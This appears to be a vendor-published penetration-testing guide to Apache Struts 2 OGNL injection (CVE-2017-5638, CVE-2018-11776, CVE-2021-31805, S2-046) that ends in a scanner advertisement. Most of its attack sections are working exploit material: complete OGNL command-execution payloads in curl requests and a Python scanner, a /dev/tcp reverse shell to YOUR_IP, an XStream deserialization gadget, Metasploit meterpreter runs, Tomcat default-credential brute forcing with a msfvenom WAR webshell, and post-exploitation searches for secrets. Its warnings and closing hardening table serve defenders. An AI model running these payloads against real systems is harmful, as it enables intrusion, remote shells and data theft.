Apache Struts Security Testing: CVE-2017-5638 OGNL Injection, S2-045/046, Equifax Breach Vector

Apache Struts 2 has produced some of the most devastating unauthenticated remote code execution vulnerabilities in enterprise Java history. CVE-2017-5638 — the Content-Type OGNL injection behind the Equifax breach that exposed 147 million Americans — set the benchmark. This guide covers authorized penetration testing of Apache Struts 2 applications: OGNL injection vectors, Showcase app enumeration, REST plugin exploitation, and automated scanning with Metasploit and nuclei.

AUTHORIZED TESTING ONLY — Apache Struts OGNL injection vulnerabilities deliver unauthenticated root-level remote code execution against production applications. Exploiting these CVEs without explicit written authorization is a federal crime under the CFAA. CVE-2017-5638 was used in the Equifax breach. Test only systems you own or have written permission to assess.

Table of Contents

  1. Struts 2 Architecture and Attack Surface
  2. Discovery and Fingerprinting
  3. CVE-2017-5638 — Content-Type OGNL Injection (CVSS 10.0, Equifax)
  4. CVE-2018-11776 — Namespace OGNL Injection (CVSS 10.0)
  5. CVE-2021-31805 — Forced Double Evaluation (CVSS 9.8)
  6. S2-045 and S2-046 Exploitation
  7. Struts 2 REST Plugin Vulnerabilities
  8. Struts 2 Showcase App Enumeration
  9. Automated Scanning with Metasploit and Nuclei
  10. Defense Recommendations

1. Struts 2 Architecture and Attack Surface

Apache Struts 2 is an MVC framework for Java EE web applications. It uses OGNL (Object-Graph Navigation Language) as its expression language throughout the request processing pipeline — in action names, namespace resolution, parameter mapping, tag library rendering, and error messages. OGNL is powerful: it can invoke arbitrary Java methods, access the Java runtime, and execute shell commands. The attack surface is enormous because OGNL expression evaluation is deeply embedded in the framework core.

The framework is widely deployed in large enterprise environments, especially in financial services, government, and healthcare sectors. Many Struts 2 deployments are decades-old line-of-business applications that receive infrequent updates — which is precisely why Struts 2 CVEs continue to be exploited years after patch release.

CVECVSSVectorAffected VersionsPatch Date
CVE-2017-563810.0Content-Type header OGNL injection (Jakarta Multipart parser)Struts 2.3.5 – 2.3.31, 2.5 – 2.5.10March 2017
CVE-2018-1177610.0Namespace OGNL injection, no plugin requiredStruts 2.3.x before 2.3.35, 2.5.x before 2.5.17August 2018
CVE-2021-318059.8Forced double evaluation via tag attribute injectionStruts 2.0.0 – 2.5.25April 2022
CVE-2019-02309.8Forced OGNL double evaluation in tag attributesStruts 2.0.0 – 2.5.20September 2019
CVE-2016-30819.8Dynamic method invocation DMI OGNL injectionStruts 2.0.0 – 2.3.28April 2016

2. Discovery and Fingerprinting

Struts 2 applications are identifiable by their URL patterns, HTTP response headers, and error pages. Accurate version detection is critical — different CVEs apply to different minor version ranges, and the Metasploit modules perform version checks before exploitation.

URL Pattern and Extension Identification

# Struts 2 applications typically use .action or .do URL extensions
# or are configured with a wildcard servlet mapping

# Check for .action extension on common paths
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/index.action"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/login.action"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/welcome.action"

# Some deployments use .do extension (Struts 1 migration pattern)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/login.do"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/index.do"

# Struts 2 Showcase app paths (high value -- leave deployed in prod frequently)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/struts2-showcase/"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/showcase/"
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET/struts2-rest-showcase/"

# Struts returns distinctive HTTP headers on errors
curl -sk -I "https://TARGET/nonexistent.action" | grep -i 'x-powered\|server\|struts'

Nmap Struts Detection

# Service and version detection against common Java app ports
nmap -sV -p 80,443,8080,8443,8009 \
  --script http-title,http-headers,http-server-header \
  -oA struts-scan TARGET

# Detect Struts via HTTP headers and response body fingerprints
nmap -p 8080 --script http-enum TARGET

# AJP connector (port 8009) may be exposed -- Ghostcat CVE-2020-1938
nmap -sV -p 8009 TARGET

Version Extraction from Error Pages

# Trigger a Struts error page to extract version information
# Struts error pages often include the framework version in HTML comments or meta tags

curl -sk "https://TARGET/nonexistent.action" | \
  grep -iE 'struts|version|apache|2\.[0-9]+\.[0-9]+'

# Malformed action triggers exception page with version disclosure
curl -sk "https://TARGET/%3f.action" | grep -iE 'struts|version'

# Check JavaScript includes and CSS paths -- often version-stamped
curl -sk "https://TARGET/index.action" | grep -oP 'struts[^"]+\.js'

# Struts 2 DevMode exposes extensive debugging info -- check for it
curl -sk "https://TARGET/index.action?debug=xml&debug=xml" | head -50

Shodan and Censys Intelligence

# Shodan dorks for internet-facing Struts 2 applications
# http.title:"Struts Problem Report" port:8080
# http.html:"struts2" port:443
# http.component:"Apache Struts"
# "X-Powered-By: Servlet" http.html:".action"

# Censys equivalent
# services.http.response.html_title="Struts Problem Report"
# services.http.response.body: "struts2-showcase"

3. CVE-2017-5638 — Content-Type OGNL Injection (CVSS 10.0)

CVE-2017-5638 is the vulnerability that brought Apache Struts to the front page of every newspaper in 2017. Discovered and publicly disclosed in March 2017, it was weaponized within hours of publication. Equifax failed to patch it in the two months before their breach, resulting in exfiltration of personal data for 147 million people — one of the largest data breaches in history.

The vulnerability lives in the Jakarta Multipart parser, a file upload interceptor that processes multipart/form-data requests. When the parser encounters a malformed or invalid Content-Type header, it generates an error message that is then passed directly to the OGNL expression evaluator without sanitization. The attacker's payload in the Content-Type header executes as Java code with the privileges of the application server process.

Root Cause: Unsanitized Error Message Evaluation

The vulnerable code path in JakartaMultiPartRequest.java calls LocalizedTextUtil.findText() with the exception message as the OGNL expression parameter. When the exception message contains an OGNL expression (wrapped in %{...}), the framework evaluates it against the ValueStack — granting full access to the Java runtime.

Manual Exploitation with curl

# CVE-2017-5638 -- Content-Type OGNL injection
# AUTHORIZED TESTING ONLY. Replace TARGET and COMMAND.

# Step 1: Test for vulnerability with a safe RCE probe (id command)
curl -s \
  -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
  "https://TARGET/index.action"

# Step 2: If id command returns output, confirm RCE and enumerate
# Read /etc/passwd to confirm unrestricted file access
curl -s \
  -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
  "https://TARGET/index.action"

# Step 3: Reverse shell via CVE-2017-5638
# Set up listener first: nc -lvnp 4444
REVSHELL='bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
curl -s \
  -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/YOUR_IP/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}" \
  "https://TARGET/index.action"
Equifax breach timeline: CVE-2017-5638 was disclosed on March 7, 2017. Equifax's security team was notified the same day. Equifax failed to patch their online dispute portal. Between May 13 and July 29, 2017 — 78 days — attackers used the vulnerability to exfiltrate 147 million Social Security numbers, birth dates, addresses, and driver's license numbers. The breach cost Equifax over $1.38 billion in settlements. The attackers also accessed 209,000 credit card numbers. This is the canonical example of what an unpatched Struts deployment costs an organization.

Python Struts 2 RCE Scanner

#!/usr/bin/env python3
"""
CVE-2017-5638 -- Apache Struts 2 Content-Type OGNL injection scanner.
Authorized penetration testing only. Do NOT run against systems without
explicit written permission.
"""
import urllib.request, urllib.error, ssl, sys

TARGET  = "https://TARGET"
ACTIONS = ["/index.action", "/login.action", "/home.action", "/welcome.action"]

# Safe probe: executes 'id' and returns output in HTTP response body
OGNL_PROBE = (
    "%{(#_='multipart/form-data')."
    "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    "(#_memberAccess?(#_memberAccess=#dm):"
    "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    "(#ognlUtil.getExcludedPackageNames().clear())."
    "(#ognlUtil.getExcludedClasses().clear())."
    "(#context.setMemberAccess(#dm))))."
    "(#cmd='id')."
    "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    "(#p=new java.lang.ProcessBuilder(#cmds))."
    "(#p.redirectErrorStream(true))."
    "(#process=#p.start())."
    "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    "(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros))."
    "(#ros.flush())}"
)

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

def test_action(url):
    req = urllib.request.Request(
        url,
        headers={
            "Content-Type": OGNL_PROBE,
            "User-Agent":   "Mozilla/5.0"
        }
    )
    try:
        opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
        resp   = opener.open(req, timeout=15)
        body   = resp.read(4096).decode('utf-8', errors='ignore')
        # Successful RCE: response body contains 'uid=' from id command output
        if 'uid=' in body or 'root' in body:
            print(f"[CRITICAL] RCE confirmed at {url}")
            print(f"  Command output: {body.strip()[:200]}")
            return True
        print(f"[-] No RCE at {url} (HTTP {resp.getcode()})")
        return False
    except urllib.error.HTTPError as e:
        print(f"[-] HTTP {e.code} at {url}")
        return False
    except Exception as e:
        print(f"[-] Error at {url}: {e}")
        return False

print(f"[*] Testing CVE-2017-5638 against {TARGET}")
for action in ACTIONS:
    if test_action(TARGET + action):
        print("[+] Vulnerable endpoint confirmed. Stop here for authorized assessment report.")
        sys.exit(0)
print("[-] No vulnerable endpoints found (may be patched or actions differ)")

4. CVE-2018-11776 — Namespace OGNL Injection (CVSS 10.0)

CVE-2018-11776 was published in August 2018 and also received a CVSS score of 10.0. It is arguably more dangerous than CVE-2017-5638 because it requires no plugins and no specific configuration — just a Struts 2 application with the default action configuration. The vulnerability exists in the URL namespace resolution logic: when Struts 2 evaluates the namespace portion of a URL to determine which action to invoke, it passes the namespace through the OGNL evaluator if the namespace is not explicitly defined in struts.xml.

Affected Versions and Prerequisites

Exploitation via Namespace Injection

# CVE-2018-11776 -- Namespace OGNL injection
# The OGNL payload is injected in the URL namespace segment

# Test with safe RCE probe -- id command
curl -sk \
  "https://TARGET/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3D%23d.readLine%28%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23e%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%29%7D/actionName.action"

# Decoded payload structure:
# ${(#_memberAccess["allowStaticMethodAccess"]=true,
#    #a=@java.lang.Runtime@getRuntime().exec('id'),
#    #b=#a.getInputStream(),
#    #c=new java.io.InputStreamReader(#b),
#    #d=new java.io.BufferedReader(#c),
#    #e=#d.readLine(),
#    #matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),
#    #matt.getWriter().println(#e),
#    #matt.getWriter().flush(),
#    #matt.getWriter().close())}

# For Struts 2.5.x -- SecurityMemberAccess bypass required
curl -sk \
  "https://TARGET/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27id%27%29.%28%23p%3Dnew+java.lang.ProcessBuilder%28%23cmd.split%28%22+%22%29%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28org.apache.commons.io.IOUtils.copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/actionName.action"

Nuclei Template for CVE-2018-11776

# nuclei template -- save as struts-cve-2018-11776.yaml
id: CVE-2018-11776

info:
  name: Apache Struts 2 CVE-2018-11776 Namespace OGNL RCE
  severity: critical
  tags: struts,ognl,rce,cve2018

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%24%7B%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%7D/actionName.action"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "uid="
          - "root"
        condition: or
      - type: status
        status:
          - 200

# Run against a single target
nuclei -t struts-cve-2018-11776.yaml -u https://TARGET

# Run against a list of targets
nuclei -t struts-cve-2018-11776.yaml -l targets.txt -o struts-findings.txt

# Use the official nuclei-templates CVE collection
nuclei -tags struts -u https://TARGET -severity critical,high

5. CVE-2021-31805 — Forced Double Evaluation (CVSS 9.8)

CVE-2021-31805 is a bypass for the incomplete fix applied in CVE-2019-0230. Both vulnerabilities exploit Struts 2's tendency to double-evaluate OGNL expressions in certain tag attributes. When a Struts 2 tag attribute value is set from user-controlled data and that value itself contains an OGNL expression, the framework evaluates it twice — once during parameter assignment and once during rendering. An attacker who can influence tag attribute values can inject OGNL payloads that survive the first evaluation and execute on the second.

Affected Versions

Exploitation via Forced Double Evaluation

# CVE-2021-31805 -- Forced double evaluation via tag attribute injection
# Payload is submitted as a form parameter that maps to an action field
# which is then referenced in a Struts 2 tag attribute like <s:property value="fieldName"/>

# The key: wrap the OGNL expression in %{...} -- the outer evaluation strips %{},
# then the inner expression executes on the second pass

# Basic RCE probe via POST parameter
curl -s -X POST "https://TARGET/vulnerable.action" \
  --data-urlencode 'fieldName=%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#p=new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c",#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(org.apache.commons.io.IOUtils.copy(#process.getInputStream(),#ros)).(#ros.flush())}'

# Identify vulnerable parameters by testing each field for OGNL reflection
# A response containing the literal string "3" confirms OGNL evaluation:
curl -s -X POST "https://TARGET/vulnerable.action" \
  --data-urlencode 'fieldName=%{1+2}'
# Response containing "3" (not "%{1+2}") confirms the double evaluation

6. S2-045 and S2-046 Exploitation

S2-045 is the official Apache Struts security advisory identifier for CVE-2017-5638. S2-046 is a closely related advisory published on the same day — it covers a second vector for the same OGNL injection flaw that exists when the Content-Disposition header contains a filename value that the multipart parser propagates to the OGNL evaluator. Both advisories share the same root cause and patch.

S2-045 (Content-Type) vs S2-046 (Content-Disposition)

# S2-045: OGNL injection via Content-Type header (standard vector)
curl -s -X POST "https://TARGET/upload.action" \
  -H "Content-Type: %{OGNL_PAYLOAD_HERE}" \
  --data "foo=bar"

# S2-046: OGNL injection via Content-Disposition filename header
# The filename parameter in multipart Content-Disposition is also evaluated as OGNL
# in versions affected by both S2-045 and S2-046
curl -s -X POST "https://TARGET/upload.action" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  --data $'------BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="%{OGNL_PAYLOAD_HERE}"\r\nContent-Type: text/plain\r\n\r\ntest\r\n------BOUNDARY--\r\n'

# S2-046 additionally triggers when the Content-Length header is oversized
# Combined with a multipart request -- the parser error path is triggered
# which then evaluates the OGNL expression in the filename field

# Test S2-046 with oversized Content-Length (forces parser error path)
curl -s -X POST "https://TARGET/upload.action" \
  -H "Content-Type: multipart/form-data; boundary=----BOUNDARY" \
  -H "Content-Length: 999999999999" \
  --data $'------BOUNDARY\r\nContent-Disposition: form-data; name="file"; filename="%{id}"\r\nContent-Type: text/plain\r\n\r\ntest\r\n------BOUNDARY--\r\n'
Finding context for reports: When S2-045 or S2-046 is confirmed during an authorized assessment, the finding severity is Critical (CVSS 10.0). Document the exact HTTP request that triggered code execution, the command output returned, and the process user context (uid= from the id command). Note whether the application server runs as root or a limited service account. Include patch version required (2.3.32+ or 2.5.10.1+) and recommend WAF rule deployment as an interim control.

7. Struts 2 REST Plugin Vulnerabilities

The Struts 2 REST plugin enables RESTful action mapping and supports XML and JSON request body deserialization. When XStream is used for XML deserialization (the default in older Struts versions), the application is vulnerable to XStream deserialization attacks that produce RCE independently of OGNL. The REST plugin also exposes action names directly in the URL path, making OGNL injection via the namespace vector more accessible.

Identifying REST Plugin Deployments

# REST plugin uses URL patterns like /resource/id.format
# Common patterns in Struts 2 REST showcase and applications

# Check for REST endpoints (returns XML or JSON)
curl -sk -H "Accept: application/json" "https://TARGET/orders.json"
curl -sk -H "Accept: application/xml"  "https://TARGET/orders.xml"
curl -sk -H "Accept: application/json" "https://TARGET/orders/1.json"

# REST showcase paths
curl -sk "https://TARGET/struts2-rest-showcase/orders.json"
curl -sk "https://TARGET/struts2-rest-showcase/orders.xml"

# Probe REST endpoints for OGNL injection in the resource name segment
curl -sk "https://TARGET/%24%7Bid%7D.json"
# If response contains numeric value instead of literal "${id}", OGNL is evaluated

XStream Deserialization via REST Plugin

# XStream deserialization RCE via Struts 2 REST plugin
# Applies to Struts 2.1.1 through 2.3.33 with XStream < 1.4.10

# Send a crafted XML payload to a REST endpoint that deserializes request bodies
# The XStream payload invokes Runtime.exec() via a DynamicProxyHandler gadget chain

XSTREAM_PAYLOAD='<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command><string>id</string></command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                </iter>
              </cipher>
            </is>
          </dataSource>
        </dataHandler>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>'

curl -s -X POST "https://TARGET/orders/1.xml" \
  -H "Content-Type: application/xml" \
  --data "$XSTREAM_PAYLOAD"

8. Struts 2 Showcase App Enumeration

The Struts 2 Showcase application is an official demo bundled with Struts 2 distributions to demonstrate framework features. It is regularly found deployed in production environments alongside the actual application — a configuration mistake that hands attackers a fully instrumented Struts 2 target. The Showcase includes file upload forms, OGNL expression testing pages, and other deliberately permissive features that provide easy exploitation paths.

Showcase Discovery and Enumeration

# Common Showcase deployment paths -- check all of these
PATHS=(
    "/struts2-showcase"
    "/showcase"
    "/struts2-showcase/index.action"
    "/struts2-rest-showcase"
    "/struts2-mailreader"
    "/struts2-portlet"
    "/struts2-blank"
    "/example"
    "/examples"
)

TARGET="https://TARGET"
for path in "${PATHS[@]}"; do
    CODE=$(curl -sk -o /dev/null -w "%{http_code}" "$TARGET$path")
    echo "[$CODE] $TARGET$path"
    sleep 0.2
done

# Showcase OGNL testing page -- if accessible, allows arbitrary OGNL input
curl -sk "https://TARGET/struts2-showcase/showcase.action"

# File upload form in Showcase -- direct CVE-2017-5638 test surface
curl -sk "https://TARGET/struts2-showcase/fileupload/doUpload.action"

# DevMode configuration test page (discloses full ValueStack)
curl -sk "https://TARGET/struts2-showcase/config-browser/index.action"

# Config browser -- lists all actions, interceptors, and result mappings
curl -sk "https://TARGET/struts2-showcase/config-browser/actionNames.action?namespace=/"

Default Credential Testing Against Struts Admin Interfaces

# Struts applications commonly sit behind an application server console
# Tomcat Manager -- frequently co-located with Struts deployments

# Test Tomcat Manager default credentials
for CRED in "admin:admin" "admin:password" "manager:manager" \
            "tomcat:tomcat" "admin:tomcat" "tomcat:s3cret" \
            "admin:s3cret" "root:root" ""; do
    USER=$(echo $CRED | cut -d: -f1)
    PASS=$(echo $CRED | cut -d: -f2)
    CODE=$(curl -sk -o /dev/null -w "%{http_code}" \
      -u "${USER}:${PASS}" "https://TARGET/manager/html")
    echo "${USER}:${PASS} -> HTTP ${CODE}"
    sleep 0.5
done

# If Tomcat Manager is accessible with valid credentials:
# Deploy a WAR file containing a JSP webshell for persistent access
# msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 -f war > shell.war
# curl -sk -u admin:admin "https://TARGET/manager/text/deploy?path=/shell" \
#   --upload-file shell.war

# GlassFish admin console (port 4848)
curl -sk -o /dev/null -w "%{http_code}" "https://TARGET:4848/management/domain/"

# JBoss/WildFly management interface (port 9990)
curl -sk "https://TARGET:9990/management?operation=read-resource"

9. Automated Scanning with Metasploit and Nuclei

Metasploit Framework includes dedicated modules for the primary Struts 2 CVEs. These modules handle version detection, SecurityMemberAccess bypass for different Struts branches, and payload delivery. Nuclei's community templates cover the same CVEs with lower noise and no dependency on Metasploit being installed on the engagement workstation.

Metasploit — struts2_content_type_ognl (CVE-2017-5638)

# Launch Metasploit and configure the CVE-2017-5638 module
msfconsole -q

use exploit/multi/http/struts2_content_type_ognl
info
# Targets: S2-045 (Content-Type), S2-046 (Content-Disposition)
# Automatic: tries Content-Type first, falls back to Content-Disposition

set RHOSTS TARGET
set RPORT 443
set SSL true
set TARGETURI /index.action    # Change to match target app path
set LHOST YOUR_IP
set LPORT 4444
set PAYLOAD java/meterpreter/reverse_tcp

# Run a check first (non-destructive version detection)
check

# If check returns vulnerable, proceed with exploitation
run

# Post-exploitation: gather Struts application config files
meterpreter> shell
$ find / -name "struts.xml" -o -name "struts.properties" 2>/dev/null
$ find / -name "*.properties" -path "*/WEB-INF/*" 2>/dev/null | xargs grep -l "password\|secret\|key"
$ find /opt /srv /var/lib/tomcat* -name "*.xml" 2>/dev/null | xargs grep -l "jdbc\|database" 2>/dev/null

Metasploit — struts_code_exec_exception_delegator

# Older Struts 2 exploitation module (Struts < 2.3.14.3)
# Exploits the ExceptionDelegator OGNL injection vector (S2-009, S2-013)

msfconsole -q

use exploit/multi/http/struts_code_exec_exception_delegator
set RHOSTS TARGET
set RPORT 8080
set SSL false
set TARGETURI /struts2-showcase/index.action
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
check
run

Metasploit — CVE-2018-11776 Module

# CVE-2018-11776 Metasploit module -- namespace injection
msfconsole -q

use exploit/multi/http/struts2_namespace_ognl
set RHOSTS TARGET
set RPORT 443
set SSL true
set TARGETURI /index.action
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST YOUR_IP
set LPORT 4444
check
run

Nuclei Struts Template Suite

# Install and update nuclei templates
nuclei -update-templates

# Run all Struts-tagged templates against a target
nuclei -tags struts -u https://TARGET -severity critical,high -o struts-findings.txt

# Run CVE-specific templates
nuclei -t cves/2017/CVE-2017-5638.yaml -u https://TARGET
nuclei -t cves/2018/CVE-2018-11776.yaml -u https://TARGET
nuclei -t cves/2021/CVE-2021-31805.yaml -u https://TARGET

# Scan a list of targets with all Struts templates
nuclei -tags struts -l targets.txt -severity critical -o struts-bulk.txt -j

# Use the http/misconfiguration template set for Showcase detection
nuclei -tags struts,showcase,exposure -u https://TARGET

# Combine with httpx to first probe live hosts
httpx -l subdomains.txt -path /index.action -mc 200,302 -o live-struts.txt
nuclei -tags struts -l live-struts.txt -severity critical,high
Scanner output validation: Nuclei templates for CVE-2017-5638 typically probe with a mathematical OGNL expression (e.g., %{9*9}) and match for 81 in the response body. This confirms expression evaluation without executing OS commands. Always validate scanner findings manually with the id command before marking as confirmed RCE in your report — WAFs can intercept the math probe while blocking the OS command payload, generating false positives.

10. Defense Recommendations

Hardening Struts 2 applications requires both framework patching and multiple defense-in-depth controls. Given the frequency and severity of Struts OGNL injection vulnerabilities, a WAF rule set alone is insufficient — every Struts 2 deployment should be considered high-risk until patched to the current version.

RecommendationPriorityImplementation
Upgrade to Struts 2.5.33+ or Struts 6.xCriticalAll OGNL injection CVEs through CVE-2021-31805 are patched. Struts 6.x also hardens the SecurityMemberAccess by default.
Replace Jakarta Multipart parser with Commons FileUpload 2.xCriticalEliminates the entire S2-045 / CVE-2017-5638 attack class. Set struts.multipart.parser=jakarta only with a patched version.
Disable DevMode in productionCriticalSet struts.devMode=false in struts.properties. DevMode enables arbitrary OGNL evaluation via debug=xml URL parameter.
Remove Struts 2 Showcase and example appsCriticalDelete WAR files: struts2-showcase, struts2-rest-showcase, struts2-mailreader, struts2-blank from the deployment directory.
Disable Dynamic Method Invocation (DMI)HighSet struts.enable.DynamicMethodInvocation=false. DMI was the root cause of S2-009, S2-013, and S2-016.
Deploy WAF with Struts OGNL rulesetHighModSecurity CRS includes Struts rules. AWS WAF managed rules include Struts coverage. Interim control while patching.
Restrict Content-Type header values at the WAFHighBlock Content-Type headers containing %{, ${, or @ognl. These patterns do not appear in legitimate multipart uploads.
Run the application server as a non-root service accountHighLimits blast radius when RCE is achieved. The id command returning uid=501(tomcat) vs uid=0(root) is a significant difference in breach impact.
Enforce ExcludedClasses and ExcludedPackageNamesMediumIn Struts 2.3.20+, configure struts.excludedClasses to block java.lang.Runtime, java.lang.ProcessBuilder, and OGNL utility classes.
Monitor for OGNL injection patterns in WAF/IDS logsMediumAlert on requests containing: @ognl, OgnlContext, ProcessBuilder, Runtime.exec, or getInputStream in Content-Type or URL path.
Quick triage — identify your Struts version immediately: Run find /opt /srv /var/lib/tomcat* /usr/share -name "struts2-core-*.jar" 2>/dev/null on your application servers. The JAR filename includes the Struts version. Any version below 2.5.33 should be treated as critically vulnerable. If your Struts version predates 2.5.10.1 (March 2017), assume CVE-2017-5638 has been or will be exploited — treat the host as compromised until proven otherwise.

Automate Your Apache Struts Security Assessment

Ironimo's Kali Linux-powered scanner detects OGNL injection, Struts framework fingerprinting, and known CVEs including CVE-2017-5638, CVE-2018-11776, and CVE-2021-31805. Stop manually crafting payloads — scan Struts applications automatically and get findings in minutes.

Start free scan